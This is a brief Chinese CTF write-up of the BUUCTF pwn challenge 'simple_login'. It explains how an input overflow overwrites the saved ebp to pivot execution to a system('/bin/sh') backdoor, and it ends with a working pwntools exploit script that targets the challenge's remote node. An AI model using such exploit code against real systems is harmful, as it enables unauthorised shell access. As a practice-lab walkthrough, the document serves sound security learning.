pwnable_simple_login
小萌新斗胆做了一下buu上第六页的一道pwn题,纯粹是为了冲分,就是卷(bushi
首先检查保护机制,32位文件,开NX,没有开PIE,那这个题目应该不会太难。

继续看IDA,main函数

这里的base64加密很新颖,以前的pwn题都没有见过,代码分析了一下,就是需要输入的s内容转base64编码,然后进行一个比较,正确的话才能进入到correct函数
而correct函数中有后门函数system(‘/bin/sh’)。那么这个地方就该是关键
于是继续找,找到auth函数里有了一个漏洞点

input最大12个字节,而v4只有8个字节,调试一下发现,覆盖的是主函数的ebp,经过调试发现控制ebp可以跳转到任意地址,那么跳转到哪呢,发现input是个固定地址, input是我们输入的内容,依靠leave指令将执行system(“/bin/sh”)的地址赋给esp,最后ret指令将地址给eip,完成利用。


exp
from pwn import*
io=remote("node4.buuoj.cn",25390)
io.recvuntil("Authenticate : ")
payload="a"*4+p32(0x0804927F)+p32(0x0811EB40)
payload=payload.encode("base64")
io.sendline(payload)
io.interactive()
最后
